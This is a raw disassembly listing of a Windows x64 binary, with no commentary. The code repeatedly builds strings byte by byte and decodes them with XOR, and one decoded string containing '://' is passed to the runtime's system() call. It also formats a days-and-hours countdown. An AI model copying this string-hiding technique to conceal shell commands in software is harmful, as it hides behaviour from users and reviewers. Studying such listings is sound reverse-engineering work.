mov byte [rbp + 0x4ab], r10b
xor r11b, al
mov byte [rbp + 0x4ac], r11b
mov byte [rbp + 0x4ad], r12b
mov rdx, rbx
lea rcx, [rbp + 0x499]
call fcn.1400812b0
test al, al
je 0x1400296f5
mov dword [0x14016014c], 0x40400000
mov byte [0x1401613cd], r12b
mov byte [reloc.WS2_32.dll_accept], 1
movaps xmm1, xmm7
mov rcx, r13
call fcn.14001f530
mov dword [0x1401601f4], 0x3e800000
mov dword [reloc.WS2_32.dll_closesocket], 3
mov byte [0x1401613c4], r12b
mov dword [0x140160124], 0x3f266666
mov dword [0x1401601e4], 0x3f000000
mov dword [0x140160118], 0x3f800000
mov dword [0x1401601d4], 0x3f800000
mov dword [0x140160208], 0x3e000000
mov dword [0x14016020c], 0x3e000000
mov dword [0x140160210], 0x3e000000
mov dword [0x1401601d8], 0x3d8f5c29
mov dword [0x1401601dc], 0x3d8f5c29
mov dword [0x1401601e0], 0x3d8f5c29
mov dword [0x140160140], 0x3dcccccd
mov dword [0x140160144], 0x3dcccccd
mov dword [0x140160148], 0x3dcccccd
mov dword [0x1401601e8], 0x3f70a3d7
mov dword [0x1401601ec], 0x3f70a3d7
mov dword [0x1401601f0], 0x3f70a3d7
mov dword [0x140160128], 0x3e23d70a
mov dword [0x14016012c], 0x3e23d70a
mov dword [0x140160130], 0x3e23d70a
mov dword [0x1401601f8], 0x3d23d70a
mov dword [0x1401601fc], 0x3d23d70a
mov dword [0x140160200], 0x3d23d70a
lea rcx, [r13 + 0xc8]
call fcn.14001f6b0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp + 0x5a8], gethostname
mov al, 0x77
mov cl, 0x7b
mov dl, 0x78
movzx r8d, cl
mov r9b, 0x66
mov r10b, 0x67
xor r11d, r11d
xor al, 0x34
mov byte [rbp + 0x5a9], al
xor cl, 0x34
mov byte [rbp + 0x5aa], cl
xor dl, 0x34
mov byte [rbp + 0x5ab], dl
xor r8b, 0x34
mov byte [rbp + 0x5ac], r8b
xor r9b, 0x34
mov byte [rbp + 0x5ad], r9b
xor r10b, 0x34
mov byte [rbp + 0x5ae], r10b
mov byte [rbp + 0x5af], r11b
lea rcx, [rbp + 0x5a9]
call fcn.1400805a0
lea rdx, [rbp + 0xcf8]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140044370
movss xmm0, dword [0x14014b504]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [rbp + 0xd00]
movss xmm2, dword [rbp + 0xcfc]
movss xmm1, dword [rbp + 0xcf8]
lea rcx, [rbp + 0xb28]
call fcn.140005b40
mov rdx, rax
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140044370
movss dword [rsp + 0x20], xmm10
movss xmm3, dword [0x140160200]
movss xmm2, dword [0x1401601fc]
movss xmm1, dword [0x1401601f8]
lea rcx, [rbp + 0xa68]
call fcn.140005b40
mov rdx, rax
xor ecx, ecx
call fcn.140044370
movss dword [rsp + 0x20], xmm10
movss xmm3, dword [0x1401601f0]
movss xmm2, dword [0x1401601ec]
movss xmm1, dword [0x1401601e8]
lea rcx, [rbp + 0xb78]
call fcn.140005b40
mov rdx, rax
mov ecx, reloc.WS2_32.dll_socket
call fcn.140044370
mov byte [rbp + 0x5a0], 0x42
mov al, 6
mov cl, reloc.WS2_32.dll_listen
mov dl, listen
mov r8b, 3
mov r9b, reloc.WLDAP32.dll_Ordinal_22
mov r10b, 7
xor r11d, r11d
xor al, 0x42
mov byte [rbp + 0x5a1], al
xor cl, 0x42
mov byte [rbp + 0x5a2], cl
xor dl, 0x42
mov byte [rbp + 0x5a3], dl
xor r8b, 0x42
mov byte [rbp + 0x5a4], r8b
xor r9b, 0x42
mov byte [rbp + 0x5a5], r9b
xor r10b, 0x42
mov byte [rbp + 0x5a6], r10b
mov byte [rbp + 0x5a7], r11b
lea rdx, [rbp + 0xdd8]
lea rcx, [rbp + 0x5a1]
call fcn.1400812b0
test al, al
je 0x140029bb4
mov byte [rbp + 0x1d0], 0x66
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1d1], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1d2], al
mov dl, 0x61
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1d3], al
mov dl, WSAStartup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1d4], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1d5], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1d6], al
mov dl, 0x68
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1d7], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1d8], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1d9], al
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1da], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1db], al
mov dl, 0x3a
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1dc], al
mov dl, 0x2f
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1dd], al
mov dl, 0x2f
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1de], al
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1df], al
mov dl, 0x61
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e0], al
mov dl, 0x79
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e1], al
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e2], al
mov dl, 0x61
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e3], al
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e4], al
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e5], al
mov dl, 0x6d
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e6], al
mov dl, 0x65
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e7], al
mov dl, 0x2f
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e8], al
mov dl, WSAGetLastError
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1e9], al
mov dl, 0x69
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1ea], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1eb], al
mov dl, WSAStartup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1ec], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1ed], al
mov dl, 0x6c
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1ee], al
mov dl, 0x69
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1ef], al
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1f0], al
mov dl, 0x65
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
mov byte [rbp + 0x1f1], al
xor eax, eax
mov byte [rbp + 0x1f2], al
xor edi, edi
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1d1]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x1d0]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1d1]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 0x21
jb 0x140029b50
mov edx, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0x1d1]
call fcn.14002c180
mov byte [rax], r12b
lea rcx, [rbp + 0x1d1]
call fcn.140006740
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call fcn.140047120
mov byte [rbp + 0x2d0], al
mov ecx, 4
call fcn.1400443d0
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
movaps xmm0, xmm6
call fcn.140055280
movaps xmm2, xmm9
movaps xmm1, xmm9
lea rcx, [rbp + 0xa50]
call fcn.140005b30
mov qword [rbp + 0x330], rax
mov byte [rbp + 0x7c0], 0x57
mov cl, 5
mov dl, reloc.WS2_32.dll_select
mov r8b, 4
movzx r9d, dl
mov r10b, 3
mov r11b, reloc.WS2_32.dll_WSACleanup
movzx ebx, r11b
mov dil, 0x34
mov sil, gethostname
mov r14b, reloc.WS2_32.dll_gethostname
mov r15b, Ordinal_50
mov r12b, 0x3e
mov al, 0x30
xor r13d, r13d
xor cl, 0x57
mov byte [rbp + 0x7c1], cl
xor dl, 0x57
mov byte [rbp + 0x7c2], dl
xor r8b, 0x57
mov byte [rbp + 0x7c3], r8b
xor r9b, 0x57
mov byte [rbp + 0x7c4], r9b
xor r10b, 0x57
mov byte [rbp + 0x7c5], r10b
xor r11b, 0x57
mov byte [rbp + 0x7c6], r11b
xor bl, 0x57
mov byte [rbp + 0x7c7], bl
xor dil, 0x57
mov byte [rbp + 0x7c8], dil
xor sil, 0x57
mov byte [rbp + 0x7c9], sil
xor r14b, 0x57
mov byte [rbp + 0x7ca], r14b
xor r15b, 0x57
mov byte [rbp + 0x7cb], r15b
xor r12b, 0x57
mov byte [rbp + 0x7cc], r12b
xor al, 0x57
mov byte [rbp + 0x7cd], al
mov byte [rbp + 0x7ce], r13b
mov rdx, qword [rbp + 0x330]
lea rcx, [rbp + 0x7c1]
call fcn.1400812b0
test al, al
je 0x140029d59
mov qword [0x1401614e8], r13
mov qword [0x140161598], r13
mov dword [0x1401615d0], r13d
mov dword [0x140160138], 0xfa
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x14016133c], r13b
mov byte [0x1401614d4], r13b
mov byte [0x14016133a], r13b
mov byte [0x140161514], r13b
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x1401613cc], r13b
mov byte [0x140161339], r13b
mov dword [0x140160114], 0x40400000
mov dword [0x140160204], 0x3f800000
mov dword [0x140160110], 0x3f800000
mov dword [0x140160214], 0x3f800000
movaps xmm1, xmm11
movaps xmm0, xmm9
call fcn.1400551a0
mov byte [rbp + 0x598], Ordinal_45
mov al, 0x69
mov cl, 0x65
mov dl, 0x64
mov r8b, 0x6c
mov r9b, 0x63
mov r10b, WSAGetLastError
xor r11d, r11d
xor al, 0x2a
mov byte [rbp + 0x599], al
xor cl, 0x2a
mov byte [rbp + 0x59a], cl
xor dl, 0x2a
mov byte [rbp + 0x59b], dl
xor r8b, 0x2a
mov byte [rbp + 0x59c], r8b
xor r9b, 0x2a
mov byte [rbp + 0x59d], r9b
xor r10b, 0x2a
mov byte [rbp + 0x59e], r10b
mov byte [rbp + 0x59f], r11b
lea rcx, [rbp + 0x599]
call fcn.1400805a0
lea rdx, [rbp + 0xcf8]
xor ecx, ecx
call fcn.140044370
mov byte [rbp + 0x50c], Ordinal_79
mov al, reloc.WLDAP32.dll_Ordinal_26
mov cl, reloc.WS2_32.dll_listen
mov dl, 2
mov r8b, reloc.WS2_32.dll_WSAStartup
xor r9d, r9d
xor al, 0x49
mov byte [rbp + 0x50d], al
xor cl, 0x49
mov byte [rbp + 0x50e], cl
xor dl, 0x49
mov byte [rbp + 0x50f], dl
xor r8b, 0x49
mov byte [rbp + 0x510], r8b
mov byte [rbp + 0x511], r9b
lea r8, [0x1401602c8]
lea rdx, [rbp + 0x50d]
lea rcx, [rbp + 0xe58]
call fcn.140031720
nop
lea rcx, [rbp + 0xe58]
call fcn.14002e440
mov rcx, rax
call fcn.1400805a0
mov ecx, 1
call fcn.1400443d0
call fcn.140083870
lea rcx, [rbp + 0xa58]
call fcn.1400059f0
mov r8, rax
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0xa60]
call fcn.140031f30
mov rdx, rax
lea rcx, [rbp + 0xd80]
call fcn.140032110
lea rcx, [rbp + 0xd80]
call fcn.14002e3e0
mov rcx, rax
movabs rax, 0x636ba875fd33dc87
imul rcx
mov r14, rdx
sar r14, 0x19
mov rax, r14
shr rax, 0x3f
add r14, rax
lea rcx, [rbp + 0xd80]
call fcn.14002e3e0
mov rcx, rax
movabs rax, 0x4a90be587de6e565
imul rcx
mov rsi, rdx
sar rsi, 0x14
mov rax, rsi
shr rax, 0x3f
add rsi, rax
movabs rax, 0x2aaaaaaaaaaaaaab
imul rsi
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 3
sub rsi, rax
lea rcx, [rbp + 0xd80]
call fcn.14002e3e0
mov rcx, rax
movabs rax, 0x45e7b272f608770f
imul rcx
mov rdi, rdx
sar rdi, 0xe
mov rax, rdi
shr rax, 0x3f
add rdi, rax
movabs r15, 0x8888888888888889
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3c
sub rdi, rax
lea rcx, [rbp + 0xd80]
call fcn.14002e3e0
mov rcx, rax
movabs r12, 0x20c49ba5e353f7cf
mov rax, r12
imul rcx
mov rbx, rdx
sar rbx, 7
mov rax, rbx
shr rax, 0x3f
add rbx, rax
mov rax, r15
imul rbx
add rdx, rbx
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3c
sub rbx, rax
lea rcx, [rbp + 0xd80]
call fcn.14002e3e0
mov r8, rax
mov rax, r12
imul r8
sar rdx, 7
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul rcx, rdx, 0x3e8
sub r8, rcx
mov r12d, r13d
test r8d, r8d
cmovns r12d, r8d
mov r15d, r13d
cmovns r15d, ebx
mov eax, r13d
cmovns eax, edi
mov dword [rbp + 0x7e0], eax
cmovns r13d, esi
xor edi, edi
test r8d, r8d
cmovns edi, r14d
mov dword [rbp + 0x330], edi
mov edx, 0xf8
lea rcx, [rbp + 0xf20]
call fcn.14001a460
mov edx, 1
lea rcx, [rbp + 0xf20]
call fcn.14002c210
nop
mov dl, 0x30
lea rcx, [rbp + 0x7d2]
call fcn.140032140
mov rdx, rax
lea rcx, [rbp + 0xf30]
call fcn.140032150
mov rbx, rax
mov edx, 2
lea rcx, [rbp + 0xa98]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rdx, rax
mov rcx, rbx
call fcn.140032170
mov edx, edi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov byte [rbp + 0x4b0], Ordinal_79
mov cl, reloc.WS2_32.dll_WSASetLastError
xor edx, edx
xor cl, 0x4a
mov byte [rbp + 0x4b1], cl
mov byte [rbp + 0x4b2], dl
lea rdx, [rbp + 0x4b1]
mov rcx, rax
call fcn.1400313e0
mov rbx, rax
mov dl, 0x30
lea rcx, [rbp + 0x7d3]
call fcn.140032140
mov rdx, rax
mov rcx, rbx
call fcn.140032150
mov rbx, rax
mov edx, 2
lea rcx, [rbp + 0xa88]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rdx, rax
mov rcx, rbx
call fcn.140032170
mov edx, r13d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov byte [rbp + 0x4d0], Ordinal_30
mov cl, Ordinal_35
xor edx, edx
xor cl, 0x18
mov byte [rbp + 0x4d1], cl
mov byte [rbp + 0x4d2], dl
lea rdx, [rbp + 0x4d1]
mov rcx, rax
call fcn.1400313e0
mov rbx, rax
mov dl, 0x30
lea rcx, [rbp + 0x7d1]
call fcn.140032140
mov rdx, rax
mov rcx, rbx
call fcn.140032150
mov rbx, rax
mov edx, 2
lea rcx, [rbp + 0xa78]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rdx, rax
mov rcx, rbx
call fcn.140032170
mov esi, dword [rbp + 0x7e0]
mov edx, esi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov byte [rbp + 0x4b4], 0x58
mov cl, 0x62
xor edx, edx
xor cl, 0x58
mov byte [rbp + 0x4b5], cl
mov byte [rbp + 0x4b6], dl
lea rdx, [rbp + 0x4b5]
mov rcx, rax
call fcn.1400313e0
mov rbx, rax
mov dl, 0x30
lea rcx, [rbp + 0x7d0]
call fcn.140032140
mov rdx, rax
mov rcx, rbx
call fcn.140032150
mov rbx, rax
mov edx, 2
lea rcx, [rbp + 0xca8]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rdx, rax
mov rcx, rbx
call fcn.140032170
mov edx, r15d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov byte [rbp + 0x4d4], WSASetLastError
mov cl, 0x51
xor edx, edx
xor cl, 0x6b
mov byte [rbp + 0x4d5], cl
mov byte [rbp + 0x4d6], dl
lea rdx, [rbp + 0x4d5]
mov rcx, rax
call fcn.1400313e0
mov rbx, rax
mov dl, 0x30
lea rcx, [rbp + 0x7d4]
call fcn.140032140
mov rdx, rax
mov rcx, rbx
call fcn.140032150
mov rbx, rax
mov edx, 3
lea rcx, [rbp + 0xcb8]
call qword [sym.imp.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__]
mov rdx, rax
mov rcx, rbx
call fcn.140032170
mov edx, r12d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [rbp + 0xbe8]
lea rcx, [rbp + 0xf20]
call fcn.14002c1f0
nop
mov rcx, rax
call fcn.14002e440
mov byte [rbp + 0x4f8], reloc.WS2_32.dll_listen
mov cl, Ordinal_41
mov dl, 0x7e
xor r8d, r8d
xor cl, 0xd
mov byte [rbp + 0x4f9], cl
xor dl, 0xd
mov byte [rbp + 0x4fa], dl
mov byte [rbp + 0x4fb], r8b
mov rdx, rax
lea rcx, [rbp + 0x4f9]
call fcn.1400805a0
nop
lea rcx, [rbp + 0xbe8]
call fcn.1400066f0
xor ecx, ecx
call fcn.140047120
test al, al
je 0x14002b02b
movdqa xmm1, xmmword [0x14014b910]
movdqu xmmword [rbp + 0x388], xmm1
movdqa xmm2, xmmword [0x14014bd80]
movdqu xmmword [rbp + 0x398], xmm2
xor dl, dl
mov r8b, listen
mov r9b, reloc.WS2_32.dll_send
mov r10b, 0xa
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x389], al
xor byte [rbp + 0x38a], cl
xor byte [rbp + 0x38b], cl
xor byte [rbp + 0x38c], cl
xor byte [rbp + 0x38d], cl
xor byte [rbp + 0x38e], cl
xor byte [rbp + 0x38f], cl
xor byte [rbp + 0x390], cl
xor byte [rbp + 0x391], cl
xor byte [rbp + 0x392], cl
xor byte [rbp + 0x393], cl
xor byte [rbp + 0x394], cl
xor byte [rbp + 0x395], cl
xor byte [rbp + 0x396], cl
xor byte [rbp + 0x397], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x398], al
xor byte [rbp + 0x399], cl
xor byte [rbp + 0x39a], cl
xor byte [rbp + 0x39b], cl
xor byte [rbp + 0x39c], cl
xor byte [rbp + 0x39d], cl
xor byte [rbp + 0x39e], cl
xor byte [rbp + 0x39f], cl
xor byte [rbp + 0x3a0], cl
xor byte [rbp + 0x3a1], cl
xor byte [rbp + 0x3a2], cl
xor byte [rbp + 0x3a3], cl
xor byte [rbp + 0x3a4], cl
xor byte [rbp + 0x3a5], cl
xor byte [rbp + 0x3a6], cl
xor byte [rbp + 0x3a7], cl
xor dl, cl
mov byte [rbp + 0x3a8], dl
xor r8b, cl
mov byte [rbp + 0x3a9], r8b
xor r9b, cl
mov byte [rbp + 0x3aa], r9b
xor r10b, cl
mov byte [rbp + 0x3ab], r10b
mov byte [rbp + 0x3ac], 0
lea rdx, [rbp + 0x389]
lea rcx, [rbp + 0xd88]
call fcn.14002e730
nop
test edi, edi
je 0x14002a7d1
mov edx, edi
lea rcx, [rbp + 0xc28]
call fcn.1400058b0
mov rsi, rax
mov byte [rsp + 0x60], 0x64
mov dl, 0xa
lea rcx, [rsp + 0x60]
call fcn.14002c170
mov byte [rsp + 0x61], al
mov dl, Ordinal_41
lea rcx, [rsp + 0x60]
call fcn.14002c170
mov byte [rsp + 0x62], al
xor eax, eax
mov byte [rsp + 0x63], al
xor edi, edi
mov rdx, rdi
lea rcx, [rsp + 0x61]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rsp + 0x60]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x61]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 2
jb 0x14002a430
mov edx, 2
lea rcx, [rsp + 0x61]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rsp + 0x61]
call fcn.140006740
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0xc08]
call fcn.1400317a0
nop
mov rdx, rax
lea rcx, [rbp + 0xd88]
call fcn.14002e540
nop
lea rcx, [rbp + 0xc08]
call fcn.1400066f0
nop
lea rcx, [rbp + 0xc28]
call fcn.1400066f0
mov dl, reloc.WLDAP32.dll_Ordinal_32
cmp dword [rbp + 0x330], 1
je 0x14002a581
mov byte [rbp + 0x10], reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x10]
call fcn.14002c170
mov byte [rbp + 0x11], al
mov dl, 0x64
lea rcx, [rbp + 0x10]
call fcn.14002c170
mov byte [rbp + 0x12], al
mov dl, 0x61
lea rcx, [rbp + 0x10]
call fcn.14002c170
mov byte [rbp + 0x13], al
mov dl, 0x79
lea rcx, [rbp + 0x10]
call fcn.14002c170
mov byte [rbp + 0x14], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x10]
call fcn.14002c170
mov byte [rbp + 0x15], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x10]
call fcn.14002c170
mov byte [rbp + 0x16], al
xor eax, eax
mov byte [rbp + 0x17], al
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x11]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x10]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x11]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x14002a530
mov edx, 6
lea rcx, [rbp + 0x11]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp + 0x11]
call fcn.140006740
jmp 0x14002a61c
mov byte [rbp - 0x34], reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp - 0x34]
call fcn.14002c170
mov byte [rbp - 0x33], al
mov dl, 0x64
lea rcx, [rbp - 0x34]
call fcn.14002c170
mov byte [rbp - 0x32], al
mov dl, 0x61
lea rcx, [rbp - 0x34]
call fcn.14002c170
mov byte [rbp - 0x31], al
mov dl, 0x79
lea rcx, [rbp - 0x34]
call fcn.14002c170
mov byte [rbp - 0x30], al
mov dl, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp - 0x34]
call fcn.14002c170
mov byte [rbp - 0x2f], al
xor eax, eax
mov byte [rbp - 0x2e], al
xor edi, edi
mov rdx, rdi
lea rcx, [rbp - 0x33]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp - 0x34]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x33]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 5
jb 0x14002a5d0
mov edx, 5
lea rcx, [rbp - 0x33]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp - 0x33]
call fcn.140006740
mov rdx, rax
lea rcx, [rbp + 0xd88]
call fcn.14002e520
mov edx, r13d
lea rcx, [rbp + 0xc48]
call fcn.1400058b0
nop
mov rdx, rax
lea rcx, [rbp + 0xd88]
call fcn.14002e540
nop
lea rcx, [rbp + 0xc48]
call fcn.1400066f0
mov dl, reloc.WLDAP32.dll_Ordinal_32
cmp r13d, 1
je 0x14002a721
mov byte [rbp + 0x40], reloc.WS2_32.dll_gethostname
lea rcx, [rbp + 0x40]
call fcn.14002c170
mov byte [rbp + 0x41], al
mov dl, 0x68
lea rcx, [rbp + 0x40]
call fcn.14002c170
mov byte [rbp + 0x42], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x40]
call fcn.14002c170
mov byte [rbp + 0x43], al
mov dl, 0x75
lea rcx, [rbp + 0x40]
call fcn.14002c170
mov byte [rbp + 0x44], al
mov dl, WSAStartup
lea rcx, [rbp + 0x40]
call fcn.14002c170
mov byte [rbp + 0x45], al
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x40]
call fcn.14002c170
mov byte [rbp + 0x46], al
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0x40]
call fcn.14002c170
mov byte [rbp + 0x47], al
xor eax, eax
mov byte [rbp + 0x48], al
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rbp + 0x41]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x40]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x41]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x14002a6d0
mov edx, 7
lea rcx, [rbp + 0x41]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp + 0x41]
call fcn.140006740
jmp 0x14002affb
mov byte [rbp + 0x18], reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x18]
call fcn.14002c170
mov byte [rbp + 0x19], al
mov dl, 0x68
lea rcx, [rbp + 0x18]
call fcn.14002c170
mov byte [rbp + 0x1a], al
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x18]
call fcn.14002c170
mov byte [rbp + 0x1b], al
mov dl, 0x75
lea rcx, [rbp + 0x18]
call fcn.14002c170
mov byte [rbp + 0x1c], al
mov dl, WSAStartup
lea rcx, [rbp + 0x18]
call fcn.14002c170
mov byte [rbp + 0x1d], al
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0x18]
call fcn.14002c170
mov byte [rbp + 0x1e], al
xor eax, eax
mov byte [rbp + 0x1f], al
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rbp + 0x19]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rbp + 0x18]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x19]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 6
jb 0x14002a780
mov edx, 6
lea rcx, [rbp + 0x19]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rbp + 0x19]
call fcn.140006740
jmp 0x14002affb
test r13d, r13d
je 0x14002ace8
mov edx, r13d
lea rcx, [rbp + 0xc88]
call fcn.1400058b0
mov r14, rax
mov byte [rsp + 0x64], 0x7e
mov dl, 0xa
lea rcx, [rsp + 0x64]
call fcn.14002c170
mov byte [rsp + 0x65], al
mov dl, Ordinal_41
lea rcx, [rsp + 0x64]
call fcn.14002c170
mov byte [rsp + 0x66], al
xor eax, eax
mov byte [rsp + 0x67], al
xor edi, edi
nop dword [rax]
mov rdx, rdi
lea rcx, [rsp + 0x65]
call fcn.14002c180
movzx edx, byte [rax]
lea rcx, [rsp + 0x64]
call fcn.14002c170
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x65]
call fcn.14002c180
mov byte [rax], bl
inc rdi
cmp rdi, 2
jb 0x14002a820
mov edx, 2
lea rcx, [rsp + 0x65]
call fcn.14002c180
mov byte [rax], 0
lea rcx, [rsp + 0x65]
call fcn.140006740
mov r8, r14
mov rdx, rax
